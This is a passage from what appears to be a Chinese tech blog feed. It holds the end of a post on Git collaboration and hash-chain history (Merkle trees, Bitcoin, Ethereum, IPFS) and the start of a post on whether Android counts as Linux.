&lt;ul&gt;
&lt;li&gt;对象数据库只进不出（垃圾回收除外），是append-only的&lt;/li&gt;
&lt;li&gt;指针可以随意移动&lt;/li&gt;
&lt;li&gt;你所见的历史，取决于指针指向哪里&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;这就是为什么 Git 几乎不会丢数据——只要对象还在数据库里，你总能通过 &lt;code&gt;git reflog&lt;/code&gt; 找回指针曾经指向过的位置，把东西捞回来&lt;/p&gt;
&lt;p&gt;接下来我们讲协作以及为什么不要在多人时用rebase&lt;/p&gt;
&lt;h2&gt;5. 多人协作&lt;/h2&gt;
&lt;p&gt;先建立实际场景&lt;/p&gt;
&lt;p&gt;你和Chongxi，各自 clone 了同一个远端仓库。clone 的那一刻，你们三个人的状态完全一样：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;远端 origin:     C1 ← C2 ← C3    main
你的本地:         C1 ← C2 ← C3    main
Chongxi的本地:    C1 ← C2 ← C3    main
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后我们开始各自工作&lt;/p&gt;
&lt;h3&gt;5.1 clone 发生了什么&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;./3.jpg&quot; alt=&quot;图文无关&quot; /&gt;&lt;/p&gt;
&lt;p&gt;clone并不是单纯的「下载代码」&lt;/p&gt;
&lt;p&gt;准确说法是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;把远端的整个对象数据库复制到本地，然后把远端的所有指针，在本地存一份只读的副本&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;.git/refs/remotes/origin/main = C3 的哈希
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个 &lt;code&gt;origin/main&lt;/code&gt; 就是你本地对远端状态的&lt;strong&gt;快照&lt;/strong&gt;，记录的是上次我跟远端同步时，它在哪&lt;/p&gt;
&lt;h3&gt;5.2 fetch&lt;/h3&gt;
&lt;p&gt;你工作了一段时间，远端有了新的提交&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git fetch
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Git操作如下：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;从远端下载所有新的对象，更新 &lt;code&gt;origin/main&lt;/code&gt; 指针。你的本地 &lt;code&gt;main&lt;/code&gt; 不动&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;远端:          C1 ← C2 ← C3 ← C4 ← C5    main
你的本地 main:  C1 ← C2 ← C3              main（没动）
origin/main:   C1 ← C2 ← C3 ← C4 ← C5   （更新了）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;fetch 只做一件事：同步对象，更新远端指针。你的工作完全不受影响&lt;/p&gt;
&lt;h3&gt;5.2 push：把本地指针推到远端&lt;/h3&gt;
&lt;p&gt;你在本地提交了 C4&apos;，想推到远端：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git push
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Git操作如下&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;把本地新的对象（C4&apos;）传到远端的对象数据库&lt;/li&gt;
&lt;li&gt;请求远端把 &lt;code&gt;main&lt;/code&gt; 指针移动到 C4&apos;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;但远端会检查一件事：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;你的 C4&apos; 的 parent，是不是远端当前 main 指向的 commit？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;如果是，叫做 &lt;strong&gt;fast-forward&lt;/strong&gt;，远端直接把指针往前移，没有任何问题&lt;/p&gt;
&lt;p&gt;如果不是，远端拒绝，返回错误：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;! [rejected] main -&amp;gt; main (non-fast-forward)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;为什么会被拒绝&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;你和Chongxi同时从 C3 开始工作：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;你:   C1 ← C2 ← C3 ← C4&apos;   本地 main
Chongxi: C1 ← C2 ← C3 ← C4    推到了远端
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Chongxi比你先推，远端 main 现在在 C4&lt;/p&gt;
&lt;p&gt;你要推 C4&apos;，但 C4&apos; 的 parent 是 C3，不是 C4&lt;/p&gt;
&lt;p&gt;远端：&lt;strong&gt;你的历史和我的历史分叉了，我不知道该怎么合并，你自己看着办吧&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;5.3 pull：fetch + 合并&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;git pull
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;本质是两步：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git fetch    ← 先同步远端对象
git merge    ← 再把 origin/main 合并到本地 main
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;合并之后生成 merge commit C5，然后你再 push，这次 C5 的 parent 包含了 C4，远端会接受&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;C1 ← C2 ← C3 ← C4 ← C5    远端 main（C5 是 merge commit）
                ↑    ↑
            Chongxi  你
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;5.4 冲突怎么发生的&lt;/h3&gt;
&lt;p&gt;你和Chongxi改了&lt;strong&gt;同一个文件的同一个地方&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Git 做三方对比：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;共同父节点 C3：第5行是 &quot;喵&quot;
Chongxi的 C4：第5行改成了 &quot;qwq&quot;
你的 C4&apos;：    第5行改成了 &quot;uwu&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Git 不知道该用哪个，只能停下来让你决定：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; HEAD
uwu
=======
qwq
&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt; origin/main
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这不是 Git 的缺陷，是&lt;strong&gt;真实冲突&lt;/strong&gt;，机器没办法替你决定业务逻辑&lt;/p&gt;
&lt;h3&gt;5.5 rebase 在多人场景下为什么危险&lt;/h3&gt;
&lt;p&gt;现在回到之前说的那个问题，我们来用对象模型解释&lt;/p&gt;
&lt;p&gt;你和Chongxi都基于 C3 创建了 &lt;code&gt;feature&lt;/code&gt; 分支，Chongxi已经把他的 C4、C5 推到了远端：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;远端 feature:  C1 ← C2 ← C3 ← C4 ← C5
你的 feature:  C1 ← C2 ← C3 ← C4 ← C5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你在本地对 &lt;code&gt;feature&lt;/code&gt; 做了 rebase，生成了 C4&apos;、C5&apos;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;你的 feature:  C1 ← C2 ← C3 ← C4&apos; ← C5&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后你强行推到远端：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git push --force //瞎 push --force 会被打死
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;远端 &lt;code&gt;feature&lt;/code&gt; 变成了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;远端 feature:  C1 ← C2 ← C3 ← C4&apos; ← C5&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;原来的 C4、C5 在远端消失了&lt;/p&gt;
&lt;p&gt;但是Chongxi本地还有：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Chongxi的 feature:  C1 ← C2 ← C3 ← C4 ← C5
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Chongxi再去 fetch，发现远端的历史和自己本地的历史&lt;strong&gt;完全对不上&lt;/strong&gt;，因为 C4 和 C4&apos; 哈希不同，Git 认为这是两个完全不相关的 commit&lt;/p&gt;
&lt;p&gt;我的本地仓库陷入混乱&lt;/p&gt;
&lt;p&gt;根本原因：&lt;strong&gt;rebase 改写了 commit 的哈希，而哈希是 Git 世界里唯一的身份证。你改了别人依赖的身份证，别人的世界就崩了&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;所以多人协作的铁律有这么一条&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;已经推到远端、别人可能基于它工作的 commit，永远不要 rebase&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;自己本地没推出去的，随便 rebase，没有任何问题&lt;/p&gt;
&lt;h3&gt;5.6 解构一下整个协作模型的本质&lt;/h3&gt;
&lt;p&gt;每个人本地都有一份&lt;strong&gt;完整的对象数据库和指针系统&lt;/strong&gt;。协作的本质，就是在&lt;strong&gt;不同机器之间同步对象、对齐指针&lt;/strong&gt;。冲突是指针对不齐时的自然结果，push 被拒绝是远端在保护历史&lt;/p&gt;
&lt;h2&gt;6. 结：一个思想的四种实现&lt;/h2&gt;
&lt;p&gt;回到最开始的问题：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;在没有中央权威的情况下，怎么让分布在全球的人，对同一份数据达成共识？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这是一个几十年来反复出现的问题。不同领域的人，用不同的方式，给出了同一个答案的变体&lt;/p&gt;
&lt;h3&gt;6.1 底层思想：内容寻址 + 哈希链&lt;/h3&gt;
&lt;p&gt;所有这些系统，都建立在两个原语上：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;内容寻址&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;不用「这个文件在第3个服务器的第5个目录里」来定位数据，而是用数据内容本身的哈希值来定位&lt;/p&gt;
&lt;p&gt;哈希值就是地址，地址就是内容的指纹&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;哈希链&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;每个节点包含上一个节点的哈希，形成一条链&lt;/p&gt;
&lt;p&gt;改动链上任何一个节点，后续所有节点的哈希都会变。链的完整性可以被任何人独立验证，不需要权威机构背书&lt;/p&gt;
&lt;p&gt;这两个原语组合在一起，解决的是同一个问题：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;让数据自证清白&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;是不是很熟悉？web3？不不不，这个思想我们可以追溯到上个世纪七十年代&lt;/p&gt;
&lt;h3&gt;6.2 1979年：Merkle Tree&lt;/h3&gt;
&lt;p&gt;Ralph Merkle 在他的博士论文里提出了这个数据结构&lt;/p&gt;
&lt;p&gt;最初的目的很朴素：&lt;strong&gt;怎么高效验证一大批数据里，某一条数据没有被篡改？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;解法：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;把所有数据放在叶子节点
每个父节点存左右子节点哈希的组合哈希
一直算到根节点&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;根哈希代表整棵树的状态。想验证 C 没被篡改，只需要提供 D、哈希AB、根哈希，不需要暴露 A 和 B 的内容&lt;/p&gt;
&lt;p&gt;这叫 &lt;strong&gt;Merkle Proof&lt;/strong&gt;，验证效率是 O(log n)&lt;/p&gt;
&lt;p&gt;这是一个纯密码学概念，当时没有具体应用&lt;/p&gt;
&lt;h3&gt;6.3 2005年：Git&lt;/h3&gt;
&lt;p&gt;Linus 独立地想到了同样的结构，用来解决代码协作问题&lt;/p&gt;
&lt;p&gt;Git 的对象模型就是一棵 Merkle Tree：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;commit
  └── tree（根哈希）
        ├── blob
        ├── blob
        └── tree
              └── blob
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后用 parent 指针把多棵树串成时间轴&lt;/p&gt;
&lt;p&gt;Git 的贡献是&lt;strong&gt;把 Merkle Tree 从静态数据结构，变成了带时间维度的版本历史&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;6.4 2008年：比特币&lt;/h3&gt;
&lt;p&gt;中本聪面临的问题和 Linus 本质上一样：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在没有银行这个中央权威的情况下，怎么让全球的人对谁拥有多少钱达成共识？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;他的解法借鉴了同样的思想：&lt;/p&gt;
&lt;p&gt;每个区块包含：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;block {
  transactions_root:  所有交易的 Merkle Tree 根哈希
  prev_block_hash:    上一个区块的哈希
  nonce:              工作量证明
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;prev_block_hash&lt;/code&gt; 就是 Git 的 &lt;code&gt;parent&lt;/code&gt;，把区块串成链&lt;/p&gt;
&lt;p&gt;改动任何一个历史区块，后续所有区块的哈希都会变，全网立刻发现&lt;/p&gt;
&lt;p&gt;比特币的贡献是&lt;strong&gt;在哈希链的基础上加了工作量证明（也就是挖矿），解决了谁有权写入新区块的问题&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Git 不需要解决这个问题，因为 Linus 自己就是最终权威（笑&lt;/p&gt;
&lt;h3&gt;6.5 2014年：以太坊的 MPT&lt;/h3&gt;
&lt;p&gt;以太坊要存的状态比比特币复杂得多——不只是交易记录，还有每个账户的余额、智能合约的状态、代码……&lt;/p&gt;
&lt;p&gt;普通的 Merkle Tree 查找效率不够高，以太坊把它和 Patricia Trie（压缩前缀树）结合，发明了 &lt;strong&gt;Merkle Patricia Trie&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;MPT = Merkle Tree（防篡改）
    + Patricia Trie（高效查找）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Patricia Trie 的思路是按路径寻址，比如账户地址 &lt;code&gt;0x1a2b3c...&lt;/code&gt; 就是树上的一条路径，顺着走就能找到这个账户的状态&lt;/p&gt;
&lt;p&gt;以太坊每个区块有三棵 MPT：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;state_root       ← 全局账户状态
transactions_root ← 这个区块的所有交易
receipts_root    ← 所有交易的执行结果
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;和 Git 相比：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Git 的 tree 对象  ≈  MPT 的中间节点（按路径寻址）
Git 的 blob 对象  ≈  MPT 的叶子节点（实际数据）
Git 的 commit     ≈  以太坊的区块（状态快照 + 指向上一个）
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;6.6 2015年：IPFS&lt;/h3&gt;
&lt;p&gt;IPFS 要解决的问题是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;HTTP 是按位置寻址的，服务器挂了，数据就消失了。能不能让数据按内容寻址，只要有人存着，任何人都能取到？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;IPFS 的每个文件被切成块，每块算哈希，目录结构也用 Merkle DAG（有向无环图）来组织：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;目录哈希
  ├── 文件A的哈希
  │     ├── 块1的哈希
  │     └── 块2的哈希
  └── 文件B的哈希
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;你请求一个文件，给出根哈希，IPFS 从网络上任何存着这个数据的节点取回来，用哈希验证完整性&lt;/p&gt;
&lt;p&gt;和 Git 比几乎一一对应：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Git blob   ≈  IPFS 数据块
Git tree   ≈  IPFS 目录节点
Git remote ≈  IPFS 网络节点
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;IPFS 的作者直接说过：&lt;strong&gt;IPFS 就是把 Git 的对象模型推广到整个互联网&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;他们的核心思想完全一样，差别只在于：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;各自要解决的额外问题不同，导致在哈希链的基础上做了不同的扩展&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;最后我们回到2005年，Linus 用十天时间写出了 Git。他没有预见到区块链，没有预见到 IPFS&lt;/p&gt;
&lt;p&gt;他只是想清楚了一个问题：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;信任不应该依赖权威，应该依赖数学&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这一个洞察，在接下来的二十年里，被不同领域的人反复重新发现，长出了完全不同的东西&lt;/p&gt;
</content:encoded><category>git</category><category>Linus</category><author>Chongxi</author></item><item><title>Android到底是不是Linux？一文解清你的所有疑惑</title><link>https://xice.cx/posts/isAndroidByLinux/</link><guid isPermaLink="true">https://xice.cx/posts/isAndroidByLinux/</guid><description>​Android到底是不是Linux，这个问题争论了不知多少年。本文将带你解清所有疑惑，认识最清晰的本质</description><pubDate>Sun, 29 Mar 2026 15:39:21 GMT</pubDate><content:encoded>&lt;h2&gt;0. 引&lt;/h2&gt;
&lt;p&gt;当你问出一个简单的问题：「Android 是 Linux 吗？」你通常会得到两种截然不同的答案：有人坚决同意，有人坚决否决。这是为什么呢好难猜啊&lt;/p&gt;
&lt;p&gt;产生这种分歧的根本原因，在于&lt;strong&gt;我们平时口中所说的 Linux 这个词产生了歧义&lt;/strong&gt;。要理清 Android 的身世，我们必须先回到上世纪 90 年代，理清两个核心概念&lt;/p&gt;
&lt;h3&gt;0.1 Linux 只是内核&lt;/h3&gt;
&lt;p&gt;在最严格的定义下，&lt;strong&gt;Linux 根本不是一个完整的操作系统，它仅仅是一个内核&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;1991 年，芬兰大学生 Linus Torvalds 写下第一行代码时，他编写的只是一个内核程序&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;内核的作用是什么？&lt;/strong&gt; 它负责管理 CPU 调度、内存分配、网络通信以及驱动底层硬件（比如让主板认出你的网卡和键盘），他仅仅只是一个发动机，你没办法只靠一台发动机给他开上高速&lt;/p&gt;
&lt;p&gt;Android 确实使用了 Linux 内核，在这个极为狭义的层面上，你可以说 Android 包含了 Linux&lt;/p&gt;
&lt;h3&gt;0.2 GNU/Linux 是什么&lt;/h3&gt;
&lt;p&gt;既然 Linux 只是内核，那我们平时用的 Arch、Debian、CentOS 甚至国产的 Deepin，那些带桌面、带命令行、能装软件的完整系统，到底是什么？&lt;/p&gt;
&lt;p&gt;这就不得不提下 Richard Stallman 和他发起的 &lt;strong&gt;GNU 计划&lt;/strong&gt;&lt;br /&gt;
1983 年，斯托曼决定打造一个完全自由、开源的操作系统。他的团队耗费多年，开发出了操作系统所需的几乎所有上层组件：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;C语言标准库 &lt;code&gt;glibc&lt;/code&gt;：&lt;/strong&gt; 所有软件运行的基础底座&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;编译器：&lt;/strong&gt; 把代码变成可执行程序的机器&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;命令行工具集：&lt;/strong&gt; 比如你敲进去的 &lt;code&gt;ls&lt;/code&gt;、&lt;code&gt;cd&lt;/code&gt;、&lt;code&gt;cp&lt;/code&gt;、&lt;code&gt;rm&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Shell环境：&lt;/strong&gt; 比如大名鼎鼎的 Bash&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;而到 90 年代初，GNU 团队万事俱备，造好了精美的汽车底盘、方向盘和外壳，&lt;strong&gt;唯独缺一台好用的发动机&lt;/strong&gt;（他们的自研内核 Hurd 难产了）。而另一边，Linus 刚好造出了一台极好的发动机（Linux内核），但没有外壳&lt;/p&gt;
&lt;p&gt;于是，两者一拍即合。&lt;strong&gt;Linux 内核 + GNU 工具链 = 完整好用的操作系统&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;因此，今天我们在服务器和个人电脑上使用的传统 Linux 发行版，它们最准确的学术名称应该叫 &lt;strong&gt;GNU/Linux&lt;/strong&gt;。&lt;strong&gt;我们平时常说的「我用的是 Linux 系统」，其实是 「GNU/Linux 系统」的简称&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;0.3 Android 是什么&lt;/h3&gt;
&lt;p&gt;理解了上述历史，Android 本质就非常清晰了&lt;/p&gt;
&lt;p&gt;当 Google 决定开发一款智能手机操作系统时，他们看中了 Linux 这台超级发动机，&lt;strong&gt;但是，Google 并不想要 GNU 造的车体&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;为了适应移动设备的特性，以及避开 GNU 背后严苛的开源协议（这在后续章节会详细讲），Google 把 Linux 这台发动机拆了下来，围绕它重新打造了一整套全新的跑车&lt;/p&gt;
&lt;h2&gt;1. 开源 vs 商业化 who will win&lt;/h2&gt;
&lt;p&gt;要理解 Android 为什么不能是传统的 GNU/Linux，我们首先要认识两个在开源界水火不容般的开源许可协议：&lt;strong&gt;GPL&lt;/strong&gt;（GNU 通用公共许可证）和 &lt;strong&gt;Apache 2.0&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;1.1 GPL&lt;/h3&gt;
&lt;p&gt;传统 GNU/Linux 系统（如 Ubuntu）中，从 Linux 内核到上层的 GNU 核心组件（C标准库、命令行工具等），绝大多数都使用的是 &lt;strong&gt;GPL 协议&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;GPL 协议的初衷是极其伟大且纯粹的：&lt;strong&gt;捍卫软件的绝对自由&lt;/strong&gt;。它规定：你可以免费使用我的代码，也可以随意修改，&lt;strong&gt;但是，任何使用了 GPL 代码、或者链接了 GPL 库的衍生软件，都必须同样以 GPL 协议开源其全部源代码&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在我们视角里这叫自由的接力棒。但在商业公司的法务部眼里，这被称为病毒式协议&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这对手机硬件厂商意味着什么？&lt;/strong&gt;
假设高通砸了十亿USD研发了一款拥有顶级图形性能的 GPU，或者三星开发了极其先进的相机算法。为了让这些硬件在手机上工作，他们必须编写&lt;strong&gt;硬件驱动程序&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;如果 Android 原封不动地照搬 GNU/Linux 的架构，高通和三星在编写驱动时，就不可避免地要调用底层那些受 GPL 保护的代码库。一旦调用（哪怕只是链接了一个 &lt;code&gt;.so&lt;/code&gt; 动态库），根据 GPL 的传染性，&lt;strong&gt;高通和三星就必须把他们耗费巨资研发的 GPU 和相机驱动源代码公之于众&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这等同于让他们把商业机密白白送给竞争对手。如果 Google 当年对硬件厂商说：「用我的 Android 系统吧，代价是公开你们的所有核心技术代码」，那么毫无疑问，&lt;strong&gt;Android 会在诞生之初就暴毙，任何OEM厂商都会让他门外竖着&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;1.2 Apache&lt;/h3&gt;
&lt;p&gt;Google 不是傻子，他们清楚地知道，想要打造一个垄断全球的手机操作系统，最好的办法是&lt;strong&gt;建立一个庞大的商业联盟&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;要吸引三星、HTC、高通、联发科等巨头入局，Google 必须给他们吃下一颗定心丸：&lt;strong&gt;用我的系统，且允许你们闭源&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;为了实现这个承诺，Google 做出了一个极其重大的架构决策：&lt;strong&gt;在用户空间封杀 GPL 协议，全面右转Apache 2.0&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Apache 2.0（以及类似的 BSD、MIT 协议）被称为对商业极度友好的协议。&lt;strong&gt;你可以免费使用我的代码，随便你爆改，也可以选择闭源拿去捞钱&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这完美契合了硬件厂商和闭源商业软件开发者的胃口&lt;/p&gt;
&lt;h3&gt;1.3 架构指导思想&lt;/h3&gt;
&lt;p&gt;然而现实是，&lt;strong&gt;Linux 内核本身就是 GPL&lt;/strong&gt;，How to do?&lt;/p&gt;
&lt;p&gt;幸运的是，Linus 当年做过一个极其重要的声明：&lt;strong&gt;正常的系统调用（即上层软件呼叫底层内核帮忙办事的操作）不构成衍生作品，不受 GPL 传染&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Google 敏锐地抓住了这根救命稻草，确立了 Android 架构设计的最高原则：&lt;strong&gt;隔离 GPL&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;把 GPL 严格锁死在内核层：&lt;/strong&gt; 底层那个不可修改的 Linux 内核，Google 认了，依然遵守 GPL 协议&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;上层空间全面“去 GNU 化”：&lt;/strong&gt; 在内核之上的所有东西，绝对不允许出现任何 GPL 的影子。Google 下死手把传统 GNU/Linux 中那些带有 GPL 传染风险的核心底层库（比如 &lt;code&gt;glibc&lt;/code&gt;、所有的核心命令工具）&lt;strong&gt;统统杀了，自己花钱重新写了一套的替代品&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;驱动上移：&lt;/strong&gt; 传统 Linux 驱动是在内核里的，为了不让硬件厂商的驱动被内核的 GPL 传染，Google 硬生生在架构中间插了一层硬件抽象层&lt;code&gt;HAL&lt;/code&gt;，让厂商把核心驱动代码挪出内核，放到用户空间去闭源运行&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;2. NO GNU&lt;/h2&gt;
&lt;h3&gt;2.1 开始自研&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;libC&lt;/strong&gt;是任何基于 Linux 内核的操作系统中最重要的一块基石。它是所有上层软件（无论是 C++ 写的原生程序，还是 Java 虚拟机）与底层 Linux 内核打交道的唯一桥梁&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;传统 GNU/Linux：&lt;/strong&gt; 使用的是大名鼎鼎的 &lt;code&gt;glibc&lt;/code&gt;。它极其庞大、功能大而全、完全符合 POSIX 规范，且运行速度极快。但它有两个弱点：第一，它是 GPL 协议的。第二，它太占用内存了，对 08 年初生代智能手机那点可怜的 RAM来说，太重了&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;于是Google 抛弃了 &lt;code&gt;glibc&lt;/code&gt;，基于 BSD 协议，自己重写了一个轻量级的 C 标准库，命名为 &lt;strong&gt;Bionic libc&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;体积小：&lt;/strong&gt; 它的体积只有 &lt;code&gt;glibc&lt;/code&gt; 的一小部分&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;速度快：&lt;/strong&gt; 专门针对移动端 ARM 处理器的低频特性和低功耗进行了指令集优化&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;那么代价呢？它阉割了大量在手机上用不到的 POSIX 标准功能。这也是为什么很多传统的 Linux C/C++ 软件无法直接在 Android 上编译运行原因&lt;/p&gt;
&lt;h3&gt;2.3 干掉命令行工具集&lt;/h3&gt;
&lt;p&gt;在传统 Linux 中，你敲的 &lt;code&gt;ls&lt;/code&gt;、&lt;code&gt;grep&lt;/code&gt;等，统统来自 &lt;strong&gt;GNU Coreutils&lt;/strong&gt; 软件包&lt;/p&gt;
&lt;p&gt;为了避嫌，Android 早期自己写了一个叫 &lt;strong&gt;Toolbox&lt;/strong&gt; 的极简命令集，也是基于 BSD。后来随着系统发展，Toolbox 渐渐不够用了，于是 Google 从 Android 6.0 开始，全面转向了由 Rob Landley 发起的 &lt;strong&gt;Toybox&lt;/strong&gt; 项目&lt;/p&gt;
&lt;p&gt;Toybox 是一个极其神奇的项目，它把上百个常用的 Linux 命令打包进了一个小小的二进制文件中，并且使用的是 &lt;strong&gt;BSD/0-clause（极其宽松，几乎等于放弃版权要求）&lt;/strong&gt;&lt;br /&gt;
所以，你在 Android 手机里敲的 &lt;code&gt;ls&lt;/code&gt;，和你在 Arch 里敲的 &lt;code&gt;ls&lt;/code&gt;，虽然长得一样，&lt;strong&gt;但它们底层完全是两码事&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;2.3 干掉编译器&lt;/h3&gt;
&lt;p&gt;最初，Android 和所有 Linux 一样，使用 GNU 的 &lt;strong&gt;GCC&lt;/strong&gt; 作为 C/C++ 代码的官方编译器。但 GCC 也是 GPL 协议的重灾区&lt;/p&gt;
&lt;p&gt;随着苹果主导的开源编译器架构 &lt;strong&gt;LLVM/Clang&lt;/strong&gt;（采用宽松的 Apache/UIUC 协议）走向成熟，Google 毫不犹豫地跟进。从 Android NDK r11 开始逐步推荐 Clang，到 r18 版本，Google 干脆&lt;strong&gt;彻底删除了 GCC&lt;/strong&gt;。现在的 Android 系统及其原生生态，已经完完全全是由 LLVM/Clang 编译出来的了&lt;/p&gt;
&lt;h2&gt;3. 硬件抽象 &amp;amp; 驱动重构&lt;/h2&gt;
&lt;h3&gt;3.1 宏内核&lt;/h3&gt;
&lt;p&gt;Linux 是一个&lt;strong&gt;Monolithic Kernel&lt;/strong&gt;操作系统。这意味着，在传统的 GNU/Linux 中，&lt;strong&gt;硬件的驱动程序是直接塞进 Linux 内核空间里运行的&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;这就产生了一个法律炸弹：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Linux 内核是 GPLv2 协议&lt;/li&gt;
&lt;li&gt;你的驱动代码要跑在内核里，就必须调用内核提供的各种API&lt;/li&gt;
&lt;li&gt;根据 GPL 协议，这就构成了衍生作品&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;你得开源&lt;/strong&gt;&lt;/li&gt;
